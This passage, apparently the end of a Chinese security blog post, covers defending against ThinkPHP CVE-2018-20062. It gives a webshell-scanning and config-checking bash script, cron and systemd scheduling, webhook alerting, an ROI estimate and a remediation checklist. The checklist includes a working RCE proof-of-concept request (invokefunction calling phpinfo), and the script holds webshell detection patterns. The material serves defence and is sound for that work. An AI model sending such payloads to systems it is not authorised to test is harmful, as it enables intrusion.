echo "[3] Webshell 扫描" >> "$REPORT_FILE"
SUSPICIOUS_FILES=$(find "$THINKPHP_ROOT" -name "*.php" -mtime -1 -type f 2>/dev/null | wc -l)
echo " 最近 24 小时新增 PHP 文件: $SUSPICIOUS_FILES" >> "$REPORT_FILE"
if [ "$SUSPICIOUS_FILES" -gt 0 ]; then
echo " 可疑文件列表:" >> "$REPORT_FILE"
find "$THINKPHP_ROOT" -name "*.php" -mtime -1 -type f 2>/dev/null | head -10 >> "$REPORT_FILE"
fi
# 检查 eval/base64 特征
EVAL_FILES=$(grep -rlE "(eval\s*\(|base64_decode\s*\()" "$THINKPHP_ROOT" --include="*.php" 2>/dev/null | wc -l)
echo " 包含 eval/base64 特征的 PHP 文件: $EVAL_FILES" >> "$REPORT_FILE"
echo "" >> "$REPORT_FILE"
# 4. 配置加固检查
echo "[4] 配置加固检查" >> "$REPORT_FILE"
CONFIG_FILE="$THINKPHP_ROOT/application/config.php"
if [ -f "$CONFIG_FILE" ]; then
ROUTE_MUST=$(grep -oP "url_route_must.*?=>.*?(true|false)" "$CONFIG_FILE" | head -1)
echo " $ROUTE_MUST" >> "$REPORT_FILE"
if echo "$ROUTE_MUST" | grep -q "false"; then
echo " ⚠️ 未开启强制路由,建议设置为 true" >> "$REPORT_FILE"
fi
fi
echo "" >> "$REPORT_FILE"
# 5. 推送报告
echo "===== 巡检完成 =====" >> "$REPORT_FILE"
cat "$REPORT_FILE"
# 如果发现严重问题,发送邮件告警
if [ "${SEVERITY:-}" = "critical" ]; then
mail -s "【严重】ThinkPHP 安全巡检告警" "$ALERT_EMAIL" < "$REPORT_FILE"
echo "已发送告警邮件到 $ALERT_EMAIL"
fi
Crontab 配置
# /etc/cron.d/thinkphp-security
# 每天凌晨 3 点执行安全巡检
0 3 * * * root /opt/scripts/thinkphp_security_patrol.sh /var/www/html >> /var/log/thinkphp-patrol.log 2>&1
# 每小时执行一次攻击日志实时检测(仅检查最近 1 小时日志)
0 * * * * root /opt/scripts/thinkphp_attack_realtime.sh /var/log/nginx/access.log >> /var/log/thinkphp-attack.log 2>&1
# 每周日凌晨 4 点执行 Webshell 深度扫描
0 4 * * 0 root /opt/scripts/webshell_deep_scan.sh /var/www/html >> /var/log/webshell-scan.log 2>&1
systemd 定时器配置(替代 crontab,更现代)
# /etc/systemd/system/thinkphp-patrol.service
[Unit]
Description=ThinkPHP Security Patrol
After=network.target
[Service]
Type=oneshot
ExecStart=/opt/scripts/thinkphp_security_patrol.sh /var/www/html
StandardOutput=append:/var/log/thinkphp-patrol.log
StandardError=append:/var/log/thinkphp-patrol-error.log
# /etc/systemd/system/thinkphp-patrol.timer
[Unit]
Description=Daily ThinkPHP Security Patrol
[Timer]
OnCalendar=*-*-* 03:00:00
Persistent=true
[Install]
WantedBy=timers.target
# 启用定时器
sudo systemctl daemon-reload
sudo systemctl enable --now thinkphp-patrol.timer
sudo systemctl list-timers | grep thinkphp
通知渠道集成
| 渠道 | 用途 | 配置方式 |
|---|---|---|
| 邮件 | 详细巡检报告 | mailx + SMTP 配置 |
| 企业微信 | 关键告警实时推送 | Webhook + curl |
| 钉钉机器人 | 值班人员通知 | Webhook + 关键字过滤 |
| Prometheus AlertManager | 与现有监控集成 | Webhook receiver |
| 短信 | P0 级别告警 | 阿里云短信 API |
# 企业微信告警示例
send_wechat_alert() {
local content="$1"
local webhook="${THINKPHP_ALERT_WEBHOOK}"
curl -s -X POST "$webhook" \
-H 'Content-Type: application/json' \
-d "{
\"msgtype\": \"text\",
\"text\": {
\"content\": \"【ThinkPHP安全告警】\n$content\n时间: $(date '+%Y-%m-%d %H:%M:%S')\n来源: $(hostname)\"
}
}"
}
# 在巡检脚本中调用
if [ "${SEVERITY:-}" = "critical" ]; then
send_wechat_alert "检测到 ThinkPHP CVE-2018-20062 风险,请立即处理。详见邮件。"
fi
预防措施
- 建立版本基线:每季度盘点所有 ThinkPHP 实例版本,记录在 CMDB
- 依赖扫描:CI/CD 流水线接入 composer audit,发现漏洞立即告警
- WAF 规则:在 Nginx/ModSecurity 层部署 ThinkPHP RCE 拦截规则
- 文件完整性监控:对
public/目录做 FIM,任何 PHP 文件变更即告警 - 出站流量管控:服务器不允许主动外连,仅允许白名单 IP
- 最小权限:PHP-FPM 用户对 Web 根目录只读,仅 runtime/ 可写
- 定期演练:每半年进行一次 ThinkPHP RCE 应急响应演练
成本核算与价值量化
开发成本
| 成本项 | 工作量 | 人天 | 单价(元/天) | 小计(元) |
|---|---|---|---|---|
| 漏洞情报收集与分析 | 梳理 CVE-2018-20062 及同源变种 | 0.5 | 1,500 | 750 |
| 版本基线盘点 | 扫描全量 ThinkPHP 站点 | 0.5 | 1,500 | 750 |
| 升级方案设计与测试 | 5.0.24/5.1.31 升级 + 业务回归 | 2.0 | 1,500 | 3,000 |
| WAF 规则编写与验证 | Nginx + ModSecurity 规则 | 1.0 | 1,500 | 1,500 |
| 巡检脚本开发 | Bash + Python 巡检 + 告警 | 1.5 | 1,500 | 2,250 |
| Prometheus 告警规则 | 6 条告警规则 + Grafana 面板 | 0.5 | 1,500 | 750 |
| 应急响应演练 | 一次完整的 RCE 攻击复盘 | 0.5 | 1,500 | 750 |
| 开发成本合计 | 6.5 | 9,750 |
运行成本
| 成本项 | 频率 | 月成本(元) | 年成本(元) |
|---|---|---|---|
| 巡检脚本执行(cron + 邮件) | 每日 | 50 | 600 |
| Prometheus 监控存储 | 持续 | 200 | 2,400 |
| WAF 规则维护(规则更新) | 每月 | 375 | 4,500 |
| 人工巡检复核(每月 2 小时) | 每月 | 375 | 4,500 |
| 日志存储(90 天保留) | 持续 | 100 | 1,200 |
| 运行成本合计 | 1,100 | 13,200 |
收益对比
| 收益项 | 量化方式 | 金额(元/年) |
|---|---|---|
| 避免 RCE 导致的数据泄露 | 按一次 RCE 事故平均损失 80 万估算,概率 25% | 200,000 |
| 避免 Mirai 僵尸网络感染 | 按一次感染导致 24 小时停机,每小时 1 万估算,概率 20% | 48,000 |
| 避免挖矿木马植入 | 按 CPU 100% 损失 5 万 + 清理成本 2 万,概率 30% | 21,000 |
| 避免横向移动导致的内网渗透 | 按一次内网渗透损失 50 万估算,概率 10% | 50,000 |
| 合规审计效率提升 | 自动化巡检替代人工审计,节省 40 人天/年 | 60,000 |
| WAF 拦截降低误报 | 精确规则减少误报 70%,节省运维 1 人天/月 | 18,000 |
| 收益合计 | 397,000 |
ROI 计算
年度总成本 = 开发成本 + 运行成本 = 9,750 + 13,200 = 22,950 元
年度总收益 = 397,000 元
ROI = (年度总收益 - 年度总成本) / 年度总成本 × 100%
= (397,000 - 22,950) / 22,950 × 100%
= 1,630%
投资回收期 = 年度总成本 / (年度总收益 / 12)
= 22,950 / (397,000 / 12)
≈ 0.69 个月(约 21 天)
结论:本次漏洞修复与监控建设的 ROI 高达 1,630%,投资回收期不到 1 个月。CVE-2018-20062 虽然公开 8 年,但在野利用持续,国内仍有大量长尾站点受影响。修复成本远低于一次 RCE 事故的损失。
工程效率收益
| 收益项 | 优化前 | 优化后 | 提升 |
|---|---|---|---|
| 漏洞发现到修复 | 平均 7 天(依赖人工巡检) | 1 小时(自动告警) | 168x |
| 攻击日志分析 | 人工 grep,2 小时/次 | 脚本自动化,5 分钟 | 24x |
| Webshell 排查 | 全盘 find + grep,4 小时 | 脚本扫描,10 分钟 | 24x |
| 版本盘点 | 人工登服务器,1 天 | 脚本批量扫描,10 分钟 | 60x |
| 应急响应 | 拉群开会,2 小时启动 | 自动告警 + Runbook,5 分钟 | 24x |
8. 总结与行动清单
核心收获
- CVE-2018-20062 是 ThinkPHP 历史上影响最广的漏洞——CVSS 9.8,默认配置可利用,在野攻击持续 8 年
- 根因是控制器名未校验——
\think\app被当作控制器,进而调用invokefunction执行任意函数 - 同源漏洞有多个,必须升级到最新修复版本——5.0.x 升到 5.0.24+,5.1.x 升到 5.1.31+,缺一不可
- 临时缓解要"三层防御"——Nginx WAF + 入口文件拦截 + 强制路由,任一层拦截即阻断攻击
- 在野利用高度活跃——Mirai、Miori、GoLang Miner 等僵尸网络持续扫描,公网暴露站点必须立即修复
- 修复后必须排查后门——Webshell、crontab、SSH authorized_keys 一个都不能少
- WAF 规则要精确匹配——避免单关键字误伤正常业务,建议组合关键字(
\think\+invokefunction)
立即行动清单
□ **今天完成**:
- [ ] 盘点所有 ThinkPHP 5.x 站点版本(php think version)
- [ ] 用 PoC 验证是否受影响:curl "?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=1"
- [ ] 在 Nginx 配置 WAF 规则拦截 \think\ 和 invokefunction
□ **本周完成**:
- [ ] 升级所有受影响站点到 5.0.24+ / 5.1.31+
- [ ] 开启 url_route_must = true(测试环境验证后上线)
- [ ] 在 public/index.php 入口添加危险参数拦截
- [ ] 排查 public/ 目录是否有未知 PHP 文件(Webshell)
- [ ] 检查 www-data 用户的 crontab 和 ~/.ssh/authorized_keys
□ **本月完成**:
- [ ] 部署 Prometheus 监控告警规则
- [ ] 上线自动化巡检脚本并配置 crontab
- [ ] 配置 PHP disable_functions 禁用危险函数
- [ ] 配置 open_basedir 限制文件访问范围
- [ ] 建立文件完整性监控(FIM)
- [ ] 制定 ThinkPHP 应急响应 Runbook
- [ ] 进行一次完整的 RCE 应急响应演练
□ **长期机制**:
- [ ] 每季度执行一次 ThinkPHP 版本盘点
- [ ] CI/CD 流水线接入 composer audit
- [ ] WAF 规则纳入版本控制,定期更新
- [ ] 关注 ThinkPHP 官方安全公告,订阅 CVE 邮件列表
如果这篇内容对你有帮助,欢迎点赞收藏,有问题可以在评论区交流。
真实性声明:本文涉及的 CVE 编号、CVSS 评分、影响版本、修复版本信息均来源于 NVD、ThinkPHP 官方 GitHub Release、Trend Micro 安全报告及 F5 Labs 威胁情报等公开信息。漏洞根因分析基于 ThinkPHP 5.0.22 的
thinkphp/library/think/App.php公开源码及 Mochazz 的漏洞分析项目进行的合理推断,标注的代码片段为简化示意,非完整原代码。攻击 Payload 来源于公开的 PoC 仓库(Mr-xn/Penetration_Testing_POC、5h4d3s/VUL_POC),仅用于防御检测目的。成本估算中的金额基于国内一线城市安全工程师市场行情和典型电商业务的损失数据,实际数值因企业规模而异。文中涉及的${VAR}形式均为环境变量占位符,请勿硬编码到生产配置中。
- 点赞
- 收藏
- 关注作者
评论(0)